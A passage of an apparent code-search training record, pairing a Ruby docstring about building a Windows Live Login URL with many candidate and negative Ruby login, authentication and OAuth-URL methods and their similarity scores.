"def login\n return @last_login if !@last_login.nil? && @last_login < @last_login + SESSION_TIMEOUT\n response = post '/account.php', {\n 'action' => 'login',\n 'username' => @username,\n 'password' => @password\n }\n if response_status_message(response) != RESPONSE_MESSAGES[:LOGIN_FAILED]\n @last_login = Time.now\n @authenticated = true\n return @last_login\n else\n @last_login = nil\n @authenticated = false\n end\n end",
"def get_user_login\n user = User.first(:id => self.user_id )\n return user.login if user\n return nil\n end",
"def login_faild\n\t\treturn error_log errors:{unauthenticated:[\"Incorrect User name and password\"]}\n\tend",
"def checkLoginMatch(result, loginName, loginPwd)\n\treturn result['password'] == loginPwd\nend",
"def login_post\n @user = User.find_by_username(params[:user][:username])\n \n if @user == nil or not @user.password_valid?(params[:user][:password]) then\n respond_to do |format|\n format.html { redirect_to login_users_path, notice: \"Either the username or password is invalid. Please try again.\"}\n format.json { head :no_content }\n end\n return\n else\n session[:user] = @user\n\n if session[:previous_page] then\n respond_to do |format| \n session[:no_back] = true\n format.html { redirect_to session[:previous_page] }\n format.json { head :no_content }\n end\n\n session[:previous_page] = nil\n return\n end\n \n logged_in_home_page = users_path + '/' + session[:user][:id].to_s\n respond_to do |format|\n format.html { redirect_to gardens_path}\n format.json { head :no_content }\n end\n return\n end\n end",
"def login\n email = request.POST[:email]\n password = request.POST[:password]\n \n w = Walker.where(:email => email).first\n if w.nil? # walker with this email not found\n render :json => {:success => false}\n else\n bcrypt = ::BCrypt::Password.new(w.encrypted_password)\n password = ::BCrypt::Engine.hash_secret(password, bcrypt.salt)\n\n if w.encrypted_password == password\n render :json => {:success => true,\n :id => w.id,\n :name => w.name,\n :surname => w.surname,\n :vokativ => w.vokativ}\n else\n render :json => {:success => false}\n end\n end\n end",
"def login\n user = User.find_by_email(params[:email])\n\n if user && user.valid_password?(params[:password])\n expose user, serializer: CompactUserSerializer\n else\n error! :invalid_resource, user.try(:errors),\n metadata: { error_description: \"Invalid login information.\" }\n end\n end",
"def loginNormal(userInfo)\n \n begin\n \n query = \"SELECT uuid FROM `#{USER_TABLE}` WHERE `email` = ? AND `password` = ?\"\n \n self.connect unless self.connected? # => connect to the DB server if not connected\n \n sth = @dbh.prepare(query)\n \n sth.execute(userInfo[\"email\"],userInfo[\"password\"])\n count=0\n isIn=false\n sth.fetch() { |row| \n isIn=row[0]\n } \n \n sth.finish\n \n rescue DBI::DatabaseError => e\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n @dbh.rollback\n rescue Exception => e \n puts \"error!!! -> : #{e.to_s}\"\n \n ensure\n # disconnect from server\n @dbh.disconnect if @connected\n @connected=false\n end\n return isIn\n \n end",
"def login!\n raise LoginFailed, 'Could not login with provided username and password' if !self.login\n return @last_login\n end",
"def login\n username = find_username\n password = find_password\n\n Log.info(\"Logging in as #{username}... \", newline: false)\n\n conn = Faraday.new(url: \"https://redacted.ch/\")\n response = conn.post do |request|\n request.url \"login.php\"\n request.headers[\"User-Agent\"] = RedactedBetter.user_agent\n request.body = { username: username, password: password }\n end\n\n handle_login_response(response)\n rescue Faraday::TimeoutError\n Log.error(\"Logging in timed out. Perhaps Redacted is down?\")\n false\n end",
"def authenticate(req, res)\n unless basic_credentials = check_scheme(req)\n challenge(req, res)\n end\n userid, password = basic_credentials.unpack(\"m*\")[0].split(\":\", 2)\n password ||= \"\"\n if userid.empty?\n error(\"user id was not given.\")\n challenge(req, res)\n end\n\n unless ::Device.find_by(proxy_login: userid)\n error(\"%s: the user is not allowed.\", userid)\n challenge(req, res)\n end\n\n $device = ::Device.find_by(proxy_login: userid, proxy_password: password)\n if not $device\n error(\"%s: password unmatch.\", userid)\n challenge(req, res)\n end\n\n info(\"%s: authentication succeeded.\", userid)\n\n req.user = userid\n end",
"def login (login = nil, password = nil, account_id=nil, external_auth=nil, domain=nil)\n\n if (login != nil && password == nil)\n # user given --> use generic user password\n # TODO: generate password (see https://forge.switch.ch/redmine/issues/2355)\n password = @pointconfig[\"generic_user_password\"]\n elsif (login == nil) && (password == nil)\n login = @pointconfig[\"username\"]\n password = @pointconfig[\"password\"]\n end\n\n res = query(\"login\",\n \"login\" => login,\n \"password\" => password,\n \"account-id\" => account_id,\n \"external-auth\" => external_auth,\n \"domain\" => domain)\n\n cookies = res.response[\"set-cookie\"]\n puts cookies.inspect\n cookies.split(\";\").each{|s|\n array = s.split(\"=\")\n if array[0] == \"BREEZESESSION\"\n @sessionid = array[1]\n end\n }\n puts \"ACS: Logged in\"\n return res.body\n end",
"def login\n if params[:username].nil? || params[:username].empty?\n flash[:error] = \"You must enter a username\"\n # If ldap is not setup, there will be no password\n elsif LdapInfo.setup?\n if LdapInfo.login params[:username], params[:password]\n set_current_user params[:username]\n else\n flash[:error] = \"Username and password not accepted\"\n end\n else\n set_current_user params[:username]\n end\n if !request.referer.nil? # Try to redirect to the same page they logged in from\n redirect_to request.referer\n else\n redirect_to tips_path\n end\n end",
"def authenticate\n result=\n AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n json_response({\n auth_token: result[:token],\n email: result[:user].email,\n current_member_id: result[:user].member.id,\n current_member_name: result[:user].member.full_name\n })\n end",
"def login(username, access_key)\n return false unless username.present? && access_key.present?\n\n params = { :login => uri_encode(username), :code => access_key }\n response = self.class.get('/login.aspx', :query => params)\n xml = response.parsed_response\n\n if response.success? && !xml['bbapi'].has_key?('error')\n self.session_id = retrieve_cookie(response, SESSION_ID_COOKIE)\n self.auth_token = retrieve_cookie(response, AUTH_TOKEN_COOKIE)\n return true\n else\n return false\n end\n end",
"def authenticate\n auth_response =\n AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n json_response(auth_token: auth_response[:token], user_name: auth_response[:user_name])\n end",
"def login\n @login ||= begin\n client.user.login\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n nil\n end\n end",
"def login_attempt\n authorized_user = User.authenticate(params[:username], params[:login_password])\n if authorized_user\n session[:user_id] = authorized_user.id\n uname = authorized_user.username\n flash[:notice] = \"Welcome, #{authorized_user.username}!\"\n redirect_to(:action => 'home')\n else\n flash[:notice] = \"Invalid username!\"\n flash[:color] = \"invalid\"\n render \"login\"\n end\n end",
"def do_login\n @login_results = login\n @cookie = @login_results.headers['Set-Cookie']\n end",
"def do_login\n @login_results = login\n @cookie = @login_results.headers['Set-Cookie']\n end",
"def login\n\t\t@membership = Membership.find :first, :conditions => { :nickname => params[:nickname] }\n\t\tif not @membership\n\t\t\trespond_with ret = { :status => 0, :description => \"No such user\" }, :location => nil, :status => :unauthorized and return\n\t\tend\n\n\t\tbegin\n\t\t\tpswd = Base64.strict_decode64 @membership[:password]\n\n\t\t\tcipher = OpenSSL::Cipher::Cipher.new 'DES3'\n\t\t\tcipher.decrypt\n\t\t\tcipher.key = Altarf::Application.config.membership_secret_token\n\n\t\t\tiv = Digest::SHA256.new\n\t\t\tiv.update params[:nickname]\n\t\t\tcipher.iv = iv.hexdigest\n\n\t\t\tclearpswd = cipher.update pswd\n\t\t\tclearpswd << cipher.final\n\n\t\t\thash = Digest::SHA256.new\n\t\t\thash.update clearpswd\n\t\t\thash.update params[:captcha]\n\n\t\trescue\n\t\t\tRails.logger.error $!.backtrace\n\t\t\thash = Digest::SHA256.new\n\t\tend\n\n\t\tif hash.hexdigest == params[:password]\n\t\t\tsession[:nickname] = params[:nickname]\n\t\t\trespond_with ret = { :status => 1 }, :location => nil, :status => :accepted and return\n\t\telse\n\t\t\tsession[:nickname] = nil\n\t\t\trespond_with ret = { :status => 0, :description => \"Wrong password\" }, :location => nil, :status => :unauthorized and return\n\t\tend\n\tend",
"def login\n @user = User.authenticate credentials[:email], credentials[:password]\n if @user # serializer makes it easier to return json, in this case the token\n render json: @user, serializer: LoginUserSerializer, root: 'user'\n else\n head :unauthorized # if authentication case this is executed\n end\n end",
"def login\n capture_session(self.class.post( \"/api/login\", {:body => {:user => @user, :passwd => @password, :api_type => 'json'}, :debug_output => @debug} ) )\n logged_in?\n end",
"def create\n @response = DigitalTownService.new.loginUser(params[:user].slice(:email, :password)) \n if @response[\"error\"].blank?\n @user = User.find_by_email(params[:user][:email])\n setUserSession\n flash[:success] = 'Signed in Successfully'\n redirect_to dashboard_index_path\n # super\n else\n flash[:error] = @response[\"message\"]\n end\n end",
"def login_code\n self.login.login\n end",
"def login_check(username, password)\n sql = <<~SQL\n SELECT * FROM users\n WHERE username = $1 AND password = $2;\n SQL\n check = query(sql, username, password)\n if check.ntuples == 1\n @user_id = check.tuple(0)[\"id\"]\n @username = check.tuple(0)[\"username\"]\n true\n else \n false \n end\n end",
"def authenticate\n authenticated_user = AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n response = { message: Message.logged_in, auth_token: authenticated_user[:auth_token], is_doctor: authenticated_user[:is_doctor], doctor_id: authenticated_user[:doctor_id], fullname: authenticated_user[:fullname], date_of_birth: authenticated_user[:date_of_birth] }\n json_response(response)\n end",
"def ascii_login_and_enable(session,new_body)\n authen_start = session.authen_start\n authen_cont = session.authen_cont\n\n if (!session.reply.body) # no previous conversation has taken place\n if (authen_start.body.user_len == 0)\n # request username\n new_body.status_getuser!\n new_body.server_msg = @tacacs_daemon.login_prompt\n else\n # request password\n session.getuser = authen_start.body.user\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n end\n\n else # make sure we got what we asked for in last reply\n if (session.reply.body.status_getuser?)\n if (authen_cont.body.user_msg_len != 0)\n # request password\n session.getuser = authen_cont.body.user_msg\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Username requested but none provided.\"\n end\n\n elsif (session.reply.body.status_getpass?)\n if (authen_cont.body.user_msg_len != 0)\n # determine pass/fail status\n username = session.getuser\n password = authen_cont.body.user_msg\n pass_fail = authenticate(username, password, session.authen_start)\n\n # set reply based on pass_fail\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Password requested but none provided.\"\n end\n\n else\n # all other statuses are in error, so some sort of internal error must have occured\n new_body.status_error!\n new_body.server_msg = \"Internal Server Error. Unexpected status for ASCII login/enable: #{session.reply.body.status}\"\n @tacacs_daemon.log(:erro,['msg_type=Authentication', \"message=#{new_body.server_msg}\", \"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n\n end\n end\n\n return(nil)\n end",
"def perform\n u = User.find_by(username: @username)\n return u if u.try(:authenticate, @password)\n nil\n end",
"def login\n @user = ::Accounts::Account.find_for_database_authentication(mobile: \n params.require(:data).require(:mobile))\n\n if @user && @user.valid_password?(\n params.require(:data).require(:password))\n sign_in(@user)\n # @user.reset_authentication_token! # make sure the user has a token generated\n @user.ensure_authentication_token!\n render_create_success @user, :with_token\n else\n warden.custom_failure!\n render_error t('devise.failure.invalid'), :unauthorized\n end\n end",
"def login\n if request.get?\n session[:user_id] = nil\n else\n # Try to get the user with the supplied username and password\n logged_in_user = User.login(params[:user][:name], params[:login][:password])\n\n # Create the session and redirect\n unless logged_in_user.blank?\n session[:user_id] = logged_in_user.id\n jumpto = session[:jumpto] || root_path\n session[:jumpto] = nil\n redirect_to(jumpto)\n else\n flash.now[:login_error] = 'Invalid username or password.'\n end\n end\n end",
"def callback\n @user = User.find_by_hash(auth_hash)\n if @user\n login(@user)\n redirect_to \"/\" and return\n else\n # We store the authorization so that the user cannot modify\n # the provider/uid details in the form\n @authorization = Authorization.create_from_hash(auth_hash)\n session[:auth_id] = @authorization.id\n @user = User.new_from_hash(auth_hash)\n end\n end",
"def login\n email = params[:email]\n password = params[:password]\n render plain: User.check_credentials(email, password)\n end",
"def login(params)\r\n db = connect()\r\n result = db.execute(\"SELECT userid, username, password FROM users WHERE users.username=(?)\", params[\"username\"])\r\n if result == []\r\n return {\r\n error: true,\r\n message: \"Username or Password is incorrect\"\r\n }\r\n end\r\n username = result[0][\"username\"]\r\n password = result[0][\"password\"]\r\n id = result[0][\"userid\"]\r\n if params[\"username\"] == username && BCrypt::Password.new(password) == params[\"password\"]\r\n return {\r\n error: false,\r\n data: id\r\n }\r\n else \r\n return{\r\n error: true,\r\n message: \"Username or password is incorrect\"\r\n }\r\n end\r\n end"
] |
[
"0.64101493",
"0.62186843",
"0.607636",
"0.6073617",
"0.58467793",
"0.5785018",
"0.57692057",
"0.5732156",
"0.5619241",
"0.5597066",
"0.5578833",
"0.5560396",
"0.5556798",
"0.5544963",
"0.5528954",
"0.55257267",
"0.54738307",
"0.5452557",
"0.5418772",
"0.5417434",
"0.5417233",
"0.5417233",
"0.5415008",
"0.5369572",
"0.5344583",
"0.53366584",
"0.53280544",
"0.5323623",
"0.532089",
"0.53110266",
"0.53030753",
"0.5299558",
"0.52944535",
"0.5293976",
"0.5284129",
"0.5265123",
"0.52502584",
"0.52496505",
"0.52371246",
"0.5232601",
"0.52291757",
"0.5222248",
"0.5202339",
"0.5200028",
"0.5199294",
"0.51975155",
"0.51956296",
"0.5193915",
"0.51888204",
"0.518359",
"0.51753026",
"0.51565087",
"0.51446646",
"0.5143859",
"0.5117232",
"0.51143277",
"0.5113793",
"0.51130396",
"0.509511",
"0.50926644",
"0.5090631",
"0.50835776",
"0.50736237",
"0.507166",
"0.5066548",
"0.50650066",
"0.5063256",
"0.5058947",
"0.50578904",
"0.5057417",
"0.5050222",
"0.5049013",
"0.50486547",
"0.5048464",
"0.5038232",
"0.50350803",
"0.5030147",
"0.5028165",
"0.5027332",
"0.502618",
"0.5019939",
"0.5019249",
"0.50161064",
"0.5012152",
"0.5009242",
"0.5009242",
"0.5007465",
"0.50071174",
"0.50069356",
"0.5003269",
"0.5000449",
"0.49995595",
"0.49924737",
"0.49861488",
"0.49804968",
"0.49792367",
"0.49760136",
"0.49756846",
"0.49659458",
"0.49581385"
] |
0.7210024
|
0
|
Returns the sign in URL to use for Windows Live Login. We recommend that you use the Sign In control instead. If you specify it, 'context' will be returned asis in the login response for sitespecific use.
|
def getLoginUrl(context=nil)
url = baseurl + "wlogin.srf?appid=#{appid}"
url += "&alg=#{securityalgorithm}"
url += "&appctx=#{CGI.escape(context)}" if context
url
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n client.auth_code.authorize_url(:redirect_uri => REDIRECT_URI,\n :scope => SCOPES.join(' '))\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/authorize\",\n :token_url => \"/common/oauth2/token\")\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url)\n end",
"def get_authentication_url\n @wll.getConsentUrl(\"Contacts.Invite\")\n end",
"def login_url\n generate_login_token unless login_token.present?\n ENV['RESERVE_URL'] + '/sign-in/' + login_token\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url, :scope => SCOPES.join(' '))\n end",
"def get_login_url(options={})\n \n # handle options\n nextPage = options[:next] ||= nil\n popup = (options[:popup] == nil) ? false : true\n skipcookie = (options[:skipcookie] == nil) ? false : true\n hidecheckbox = (options[:hidecheckbox] == nil) ? false : true\n frame = (options[:frame] == nil) ? false : true\n canvas = (options[:canvas] == nil) ? false : true\n \n # url pieces\n optionalNext = (nextPage == nil) ? \"\" : \"&next=#{CGI.escape(nextPage.to_s)}\"\n optionalPopup = (popup == true) ? \"&popup=true\" : \"\"\n optionalSkipCookie = (skipcookie == true) ? \"&skipcookie=true\" : \"\"\n optionalHideCheckbox = (hidecheckbox == true) ? \"&hide_checkbox=true\" : \"\"\n optionalFrame = (frame == true) ? \"&fbframe=true\" : \"\"\n optionalCanvas = (canvas == true) ? \"&canvas=true\" : \"\"\n \n # build and return URL\n return \"http://#{WWW_SERVER_BASE_URL}#{WWW_PATH_LOGIN}?v=1.0&api_key=#{@api_key}#{optionalPopup}#{optionalNext}#{optionalSkipCookie}#{optionalHideCheckbox}#{optionalFrame}#{optionalCanvas}\"\n \n end",
"def get_auth_url(use_callback_flow=true)\n raise 'To be implemented in child classes'\n end",
"def default_sign_in_url\n sign_in_url\n end",
"def login_url options\n email = options.delete(:email) or raise ArgumentError.new(\"No :email passed for user\")\n user_identifier = options.delete(:user_identifier) or raise ArgumentError.new(\"No :user_identifier passed for user\")\n\n authenticated_parameters = build_authenticated_parameters(email, user_identifier, options)\n\n [checkdin_landing_url, authenticated_parameters.to_query].join\n end",
"def facebook_authenticate_url\n facebook_client.web_server.authorize_url(:redirect_uri => Settings.authentication.facebook.callback_url,\n :scope => Settings.authentication.facebook.scope)\n end",
"def default_sign_in_url\n user_sign_in_url\n end",
"def auth_url\n MiniFB.oauth_url(@app_id, @redirect_to,\n :scope => 'user_about_me') # See MiniFB.scopes\n end",
"def omniauth_login_url(provider)\n \"#{Rails.configuration.relative_url_root}/auth/#{provider}\"\n end",
"def getTrustedLoginUrl\n secureurl + \"wlogin.srf\"\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/v2.0/authorize\",\n :token_url => \"/common/oauth2/v2.0/token\")\n # :authorize_url => \"/oauth2/v2.0/authorize\",\n # :token_url => \"/oauth2/v2.0/token\")\n # :authorize_url => \"/auth/office365/callback\",\n # :token_url => \"/oauth2/v2.0/token\"\n # )\n# /auth/office365/callback\n\n login_url = client.auth_code.authorize_url(:redirect_uri => office365_callback_url, :scope => SCOPES.join(' '))\n end",
"def login_web_url\n return @login_web_url\n end",
"def signin_url\n {:controller => 'auth', :action => 'signin'}\n end",
"def auth_url(connection = nil)\n state = \"?state=#{Service.encode_state(connection)}\"\n callback = URI.encode_www_form_component(config[:redirect_uri] + state)\n\n uri = URI.parse(base_auth_url)\n uri.query ||= \"\"\n uri.query << \"&#{self.class.callback_param_name}=#{callback}\"\n uri.to_s\n end",
"def authentication_url(params={})\n @request_token.authorize_url params\n end",
"def oauth_sign_in_path(name)\n oauth_instance(name).sign_in_path\n end",
"def signin_path(event_id = nil)\n register_param = (event_id) ? \"®ister_for_event_id=#{event_id}\" : nil\n \"#{root_url(subdomain: false)}auth/google_oauth2?origin=#{request.url}#{register_param}\"\n end",
"def auth_url\n \"#{@url}/auth/realms/#{@realm}/protocol/openid-connect/auth\"\n end",
"def login_url(params, session)\n self.authorize_url({ authorize_url: auth_path })\n end",
"def getAuthUrl\n\t\t\t\tURI::HTTP.build(\n\t\t\t\t\t:host => @options['auth_host'],\n\t\t\t\t\t:path => @options['auth_page'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:scope => @options['scope'],\n\t\t\t\t\t\t:response_type => \"code\",\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t}.to_query\n\t\t\t\t).to_s\n\t\t\tend",
"def uri_with_authentication_and_login\n\t\tURI.parse( uri_with_authentication.to_s + \"&login=true\" )\n\tend",
"def login_url(_params, _session)\n authorize_url\n end",
"def login_url(params,session)\n self.authorize_url\n end",
"def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end",
"def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end",
"def auth_url\n client.authorization.authorization_uri(state: '', approval_prompt: :force, access_type: :offline, user_id: client_email).to_s\n end",
"def login_url(params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url({ request_token: req_token.token, request_token_secret: req_token.secret })\n end",
"def auth_login_url(callback_url, session_id=false)\n url = \"#{self.service.configuration.auth_url}login?callback=#{callback_url}\"\n url = \"#{url}&session=#{session_id}\" if session_id != false\n url\n end",
"def login_url(params,session)\n req_token = self.get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n self.authorize_url({:request_token => req_token.token, :request_token_secret => req_token.secret})\n end",
"def login_url(_params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url(request_token: req_token.token, request_token_secret: req_token.secret)\n end",
"def after_sign_in_path_for(resource)\n if Rails.env.production?\n request.env['omniauth.origin'] || stored_location_for(resource) || KISALLI_URL\n else\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end\n end",
"def get_auth_url\n\t\tURI::HTTP.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:scope => @options['scope'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def authentication_path(local_port: nil, invite_code: nil, expires_in: nil, remote: false)\n auth_url_params = {}\n if remote\n auth_url_params[:redirect_uri] = \"/code\"\n elsif local_port\n auth_url_params[:redirect_uri] = \"http://localhost:#{local_port}/cb\"\n else\n raise ArgumentError, \"Local port not defined and not performing remote login\"\n end\n auth_url_params[:invite_code] = invite_code if invite_code\n auth_url_params[:expires_in] = expires_in if expires_in\n \"/authenticate?#{URI.encode_www_form(auth_url_params)}\"\n end",
"def get_auth_url\n\t\tURI::HTTPS.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def login_url(url)\n return \"https://www.dopplr.com/api/AuthSubRequest?scope=#{CGI.escape(\"http://www.dopplr.com/\")}&next=#{CGI.escape(url)}&session=1\"\n end",
"def get_auth_url(use_callback_flow=true)\n if use_callback_flow\n service_name = service_name_for_user(DATASOURCE_NAME, @user)\n @client.authorization.state = CALLBACK_STATE_DATA_PLACEHOLDER.sub('user', @user.username)\n .sub('service', service_name)\n else\n @client.authorization.redirect_uri = REDIRECT_URI\n end\n @client.authorization.authorization_uri.to_s\n end",
"def get_authurl\n\t\tlogger.debug \"D, #{__method__.to_s}\"\n\t\tparams = {\n \"client_id\" => @client_id,\n \"response_type\" => \"code\",\n \"redirect_uri\" => @redirect_uri,\n \"prompt\" => \"consent\"\n }\n auth_uri = URI::Generic.new(\"https\", nil, @auth_url, nil, nil, \"authorize\", \n \t\t\t\t\t\t\t nil, nil, nil)\n auth_uri.query = URI.encode_www_form(params)\n logger.debug \"D, #{__method__.to_s}, #{auth_uri.to_s}\"\n return auth_uri.to_s\n\tend",
"def current_user_url\n view_context.user_url(current_user)\n end",
"def after_sign_in_path_for(resource)\n session[:requested_url] || myriorunner_path\n end",
"def login_url\n DOMAINS[username_domain] || DOMAINS['hotmail.com']\n end",
"def redirect_url(callback_url)\n signin_url(callback_url)\n end",
"def login_url(params,session)\n self.authorize_url({:authorize_url => @auth_path})\n end",
"def access_token_url\n Settings.mobile_lighthouse_letters.access_token_url\n end",
"def oauth_login_path name = nil\n oauth_instance(name).login_path\n end",
"def after_sign_in_path_for(resource)\n session.delete(:auth_return_url) || request.env['omniauth.origin'] || stored_location_for(resource) || signed_in_root_path(resource)\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end",
"def login_url(state, scope = nil)\n data = { \"response_type\" => \"code\", \"client_id\" => @client_id, \"state\" => state }\n data[\"redirect_uri\"] = @redirect_uri unless @redirect_uri.nil?\n data[\"scope\"] = scope unless scope.nil?\n return \"https://#{API_ENDPOINT}/auth/code?\" + URI.encode_www_form(data) \n end",
"def signin_link\n view_context.link_to \"Sign In\", view_context.new_session_path(:user)\n end",
"def login_url(state, scope = nil)\n data = { \"response_type\" => \"code\", \"client_id\" => @client_id, \"state\" => state }\n data[\"redirect_uri\"] = @redirect_uri unless @redirect_uri.nil?\n data[\"scope\"] = scope unless scope.nil?\n return \"https://#{$api_endpoint}/auth/code?\" + URI.encode_www_form(data)\n end",
"def url_to_social_login( provider_key, on_success = nil )\n provider = Aerogel::Auth.providers[provider_key] || {}\n origin = on_success || params['on_success']\n query_string = origin ? \"?origin=#{origin}\" : ''\n \"/auth/#{provider_key}#{query_string}\"\nend",
"def current_url\n return Knj::Web.url\n end",
"def signin\n embed_screen api_args.select_keys(\"redirect_uri\", \"client_id\", \"response_type\")\n end",
"def after_sign_in_path_for(_resource)\n root_url\n end",
"def after_successful_sign_in_url\n root_path\n end",
"def login_url(params={})\n auth_pds_login_url \"load-login\", params\n end",
"def request_token_url\n @options[:request_token_url] || site + request_token_path\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || home_path\n end",
"def account_url\n return new_user_session_url unless user_signed_in?\n return :user_dashboard_url\n end",
"def access_token_url\n Settings.lighthouse_health_immunization.access_token_url\n end",
"def full_url\n char = (api_env('URL') =~ /\\?/).nil? ? '?' : '&'\n api_env('URL') + \"#{char}#{api_env('PARAM')}=#{login}\"\n end",
"def login_url(prt, opts = {})\n plid = login_request(prt, :requested => opts.delete(:requested), :seed => opts.delete(:seed)).plid\n login_url_from_plid( plid, opts.delete(:demo) )\n end",
"def connectURL\n\t\t\"http://beta.stoffiplayer.com/auth/#{provider}\"\n\tend",
"def oauth_login_path name = nil\n oauth_instance(name).login_path\n end",
"def openid_redirect_uri; end",
"def after_sign_in_path_for(resource_or_scope)\n if request.env['omniauth.origin']\n request.env['omniauth.origin']\n end\n end",
"def login_url(service)\n append_service @login_url, service\n end",
"def signed_in_root_path(resource_or_scope); end",
"def after_sign_in_path_for(user)\n if resource_params[:uv_login].present?\n # Redirect to UserVoice with sso token\n user_voice_url(user)\n else\n # ..just redirect to the app\n app_url(subdomain: current_company.subdomain)\n end\n end",
"def redirect_uri\n @redirect_uri\n end",
"def set_sign_in_redirect\n if (hash = params[:x_return_to]).present?\n session[:user_return_to] =\n \"#{request.protocol}#{request.host_with_port}/##{hash}\"\n end\n end",
"def set_sign_in_redirect\n if (hash = params[:x_return_to]).present?\n session[:user_return_to] =\n \"#{request.protocol}#{request.host_with_port}/##{hash}\"\n end\n end",
"def get_user_uri\n \"/#{URI.encode ZohoReports.configuration.login_email}\"\n end",
"def new_session_path(arg)\n login_path\n end",
"def authenticate_url\n \"https://accounts.google.com/o/oauth2/auth?scope=https://www.googleapis.com/auth/urlshortener&response_type=code&client_id=#{ENV['GOOGL_CLIENT_ID']}&redirect_uri=#{ENV['GOOGL_REDIRECT_URI']}&access_type=offline&include_granted_scopes=true&approval_prompt=force\"\n end",
"def auth_url\n raise Me2day::Error::ClientError.new unless options[:application_key]\n connection.get(\"/api/get_auth_url.json\") do |request|\n request.headers[:me2_application_key] = options[:application_key]\n end.env[:body][:url]\n rescue Faraday::Error::ClientError\n raise Me2day::Error::ClientError\n end",
"def after_sign_in_path_for(resource)\n\t\trequest.env['omniauth.origin'] || stored_location_for(resource) || root_path\n\tend",
"def auth_url\n CloudFiles.const_get(\"AUTH_#{self.auth_location.upcase}\")\n end",
"def http_url\n context[:http_url] || context[:base_url]\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || account_url\n end",
"def after_sign_in_path_for(resource)\n return request.env['omniauth.origin'] || stored_location_for(resource) || dashboards_path\n end",
"def oauth_uri(provider=\"FACEBOOK\")\n dest= session[\"return_to\"] || request.env[\"REQUEST_URI\"] || \"/\"\n \"#{oauth_uri_left_part}/account/oauth_start?provider=#{CGI.escape(provider)}&dest_left=#{CGI.escape(request_uri_left_part)}&dest_path=#{CGI.escape(dest)}\"\n end",
"def signed_open_id_connect_initiation_url(login_hint:)\n URI(open_id_connect_initiation_url).tap do |uri|\n uri.query = {\n iss: Rails.application.secrets.issuer,\n login_hint: login_hint,\n target_link_uri: target_link_uri\n # lti_message_hint: 'xxx'\n }.to_query\n end\n end",
"def sso_url(params={})\n auth_pds_login_url \"sso\", params\n end",
"def redirect_uri\n\t\t@client.authorization.authorization_uri.to_s\n\tend",
"def after_sign_in_path_for(resource)\n clear_session_response_key\n request.env['omniauth.origin'] || stored_location_for(resource) || signed_in_root_path(resource)\n end",
"def openid_callback_url\n \"#{request.protocol}://#{request.host}#{Merb::Router.url(:openid)}\"\n end",
"def context_url(context)\n if Topic === context\n topic_path(context)\n elsif Log === context\n log_path(context)\n end\n end",
"def base_url\n context[:base_url] || \"/\"\n end",
"def auth_uri(nonce)\n client.authorization_uri(\n scope: %i[user_group_path email profile esdl-mapeditor microprofile-jwt user_group],\n state: nonce,\n nonce: nonce\n )\n end",
"def get_user_auth_url\n @oauth_token = request_oauth_token\n return @authorize_url + \"?oauth_token=\" + @oauth_token[\"oauth_token\"]\n rescue\n puts $! if @@verbose\n return nil\n end",
"def after_sign_in_path_for(resource)\n session[:requested_url] || myriorunner_path(current_user.id)#<= see how you pass in the user to get the id....\n end",
"def callback_url\n auth_endpoint_callback_url(org: @organization.id)\n end",
